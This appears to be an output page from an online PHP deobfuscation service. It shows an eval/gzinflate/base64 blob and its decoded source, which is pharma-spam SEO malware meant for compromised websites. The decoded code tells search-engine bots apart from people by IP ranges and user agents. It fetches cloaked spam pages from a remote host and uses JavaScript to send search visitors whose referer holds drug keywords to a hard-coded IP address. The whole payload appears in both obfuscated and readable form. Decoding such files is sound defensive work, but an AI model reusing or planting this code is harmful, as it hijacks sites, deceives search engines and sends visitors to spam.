Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
eval(gzinflate(base64_decode('pVh7c9u4Ef/bnel3oDWsKSaMRL2t2LSTuah3N9NcUkXptGM7GogEJdQUwSMp..
Decoded Output download
if (!defined('frmDs')){
define('frmDs' ,1);
error_reporting(0);
function frm_dl ($url) {
if (function_exists('curl_init')) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$out = curl_exec ($ch);
if (curl_errno($ch) !== 0) $out = false;
curl_close ($ch);
} else {$out = @file_get_contents($url);}
return trim($out);
}
function frm_crpt($in){
$il=strlen($in);$o='';
for ($i = 0; $i < $il; $i++) $o.=$in[$i] ^ '*';
return $o;
}
function frm_getcache($tmpdir,$link,$cmtime,$toe=false){
$f = $tmpdir.'/sess_'.md5(preg_replace('/^http:\/\/[^\/]+/', '', $link));
$fe = file_exists($f);
if(!$fe || time() - filemtime($f) > 60 * $cmtime)
{
$dlc=frm_dl($link);
if($fe && $dlc===false)
@touch($f);
else
{
if($fe && empty($dlc) && $toe)
{
@touch($f);
}
else
{
if($fp = @fopen($f,'w')){fwrite($fp, frm_crpt($dlc)); fclose($fp);}
else{return $dlc;}
}
}
}
$fc = @file_get_contents($f);
return ($fc)?frm_crpt($fc):'';
}
function frm_isbot(){
$ua=@strtolower($_SERVER['HTTP_USER_AGENT']);
if(($lip=ip2long($_SERVER['REMOTE_ADDR']))<0)$lip+=4294967296;
$rs = array(array(3639549953,3639558142),array(1089052673,1089060862),array(1123635201,1123639294),array(1208926209,1208942590),
array(3512041473,3512074238),array(1113980929,1113985022),array(1249705985,1249771518),array(1074921473,1074925566),
array(3481178113,3481182206),array(2915172353,2915237886),array(3627728897,3627737086),array(1823541249,1823543294));
foreach ($rs as $r) if($lip>=$r[0] && $lip<=$r[1]) return true;
if(!$ua)return true;
$bots = array('googlebot','bingbot','slurp','msnbot','jeeves','teoma','crawler','spider');
foreach ($bots as $b) if(strpos($ua, $b)!==false) return true;
$h=@gethostbyaddr($_SERVER['REMOTE_ADDR']);
$hba=array('google','msn','yahoo');
if($h) foreach ($hba as $hb) if(strpos($h, $hb)!==false) return true;
return false;
}
function frm_tmpdir(){
$fs = array('/tmp','/var/tmp','./wp-content/cache','./wp-content/uploads','./tmp','./cache','./images');
foreach (array('TMP', 'TEMP', 'TMPDIR') as $v) {
if ($t = getenv($v)) {$fs[]=$t;}
}
if (function_exists('sys_get_temp_dir')) {$fs[]=sys_get_temp_dir();}
$fs[]='.';
foreach ($fs as $f){
$tf = $f.'/'.md5(rand());
if($fp = @fopen($tf, 'w')){
fclose($fp);
unlink($tf);
return $f;
}
}
return false;
}
function frm_seref(){
$r = @strtolower($_SERVER["HTTP_REFERER"]);
$ses = array('google','bing','yahoo','ask','aol');
foreach ($ses as $se) if(strpos($r, $se.'.')!=false) return true;
return false;
}
function frm_havekey($s=false){
$nks = explode('|','abilify|albenza|aldactone|amoxil|antabuse|apcalis|atarax|baclofen|bactrim|bimatoprost|buspar|celebrex|celexa|cialis|cipro|clomid|desyrel|diflucan|doxycycline|elavil|erectalis|eriacta|erythromycin|finpecia|flagyl|glucophage|inderal|kamagra|lasix|levaquin|levitra|lexapro|megalis|mobic|motilium|nexium|nolvadex|orlistat|paxil|penisole|periactin|premarin|priligy|propecia|proscar|proventil|retin-a|robaxin|seroquel|silagra|sildalis|silvitra|strattera|stromectol|p-force|synthroid|tadacip|tadalis|tadapox|tenormin|tetracycline|topamax|valtrex|ventolin|viagra|vigora|wellbutrin|zanaflex|zenegra|zithromax|sildenafil|tadalafil|vardenafil|zovirax');
$k = ($s==false)?@strtolower($_SERVER["HTTP_REFERER"].$_SERVER["REQUEST_URI"]):$s;
if (strpos($k,"site%3A")!==false||strpos($k,"inurl%3A")!==false) return '';
foreach ($nks as $n)if(preg_match("/(|_)$n(|_)/" , $k)) return $n;
return '';
}
function frm_chpr($url,$td){
$r=frm_getcache($td,"http://data.alexa.com/data?cli=10&url=$url",60*24*7, true);
if ((preg_match('/XT="(\d+)"/', $r, $m)) == 1) {
if ( $m[1] > 10000000) {
return 4;
}
}
return 0;
}
function frm_red($k){
if(!frm_isbot() && frm_seref()){
$r=@urlencode($_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']);
$s=@urlencode($_SERVER['HTTP_REFERER']);
die("<!DOCTYPE html><html><body><script>document.location=(\"http://178.73.212.30/stat/go.php?k=$k&s=$s&r=$r\");</script></body></html>");
}
}
$tdir = frm_tmpdir();
$isb=frm_isbot();
$k=frm_havekey();
$host = preg_replace('/^w{3}\./','', strtolower($_SERVER['HTTP_HOST']));
if($cv=@$_POST[md5($host.'ch')]){exit($cv);}
if($tdir && strlen($host)<100 && !preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/', $host)){
$parg = substr(preg_replace( '/[^a-z]+/', '',strtolower(base64_encode(md5($host.'p1')))),0,3);
$sp = "http://pcepfedat.ontheweb.nu/stat/feed.php?pa=$parg&h=$host";
//
$ruri = strtolower($_SERVER['REQUEST_URI']);
$pageid = (isset($_GET[$parg]))?$_GET[$parg]*1:0;
if((strpos($ruri,'/?')===0||strpos($ruri,'/index.php?')===0) && $pageid > 0){
frm_red($k);
die(frm_getcache($tdir, $sp."&p=$pageid",60*24,true));
}
if (($ruri=='/' || $ruri=='/index.php') && $isb) {
$c=frm_getcache($tdir, $sp ,60*24);
if($c)die($c);
}
//
if($k && $sdl = frm_getcache($tdir, $sp."&a=s", ($isb ? 30 : 60*24*7) ,true)){
if(strpos($sdl, '|'.$ruri.'|') !== false){
frm_red($k);
die(frm_getcache($tdir, $sp."&a=s&p=".urlencode($ruri),60*24*7,true));
}
}
//
$tp=$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
if($isb && ($ppr = frm_chpr($tp,$tdir)) > 3){
$pc=frm_getcache($tdir, $sp."&a=l&p=".urlencode($tp)."&pr=$ppr",60*24);
if($pc) die($pc);
}
}
if($k) frm_red($k);
}
Did this file decode correctly?
Original Code
eval(gzinflate(base64_decode('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')));
Function Calls
| gzinflate | 1 |
| base64_decode | 1 |
Stats
| MD5 | 7e1c7596ebc7033794415513ea866bfc |
| Eval Count | 1 |
| Decode Time | 89 ms |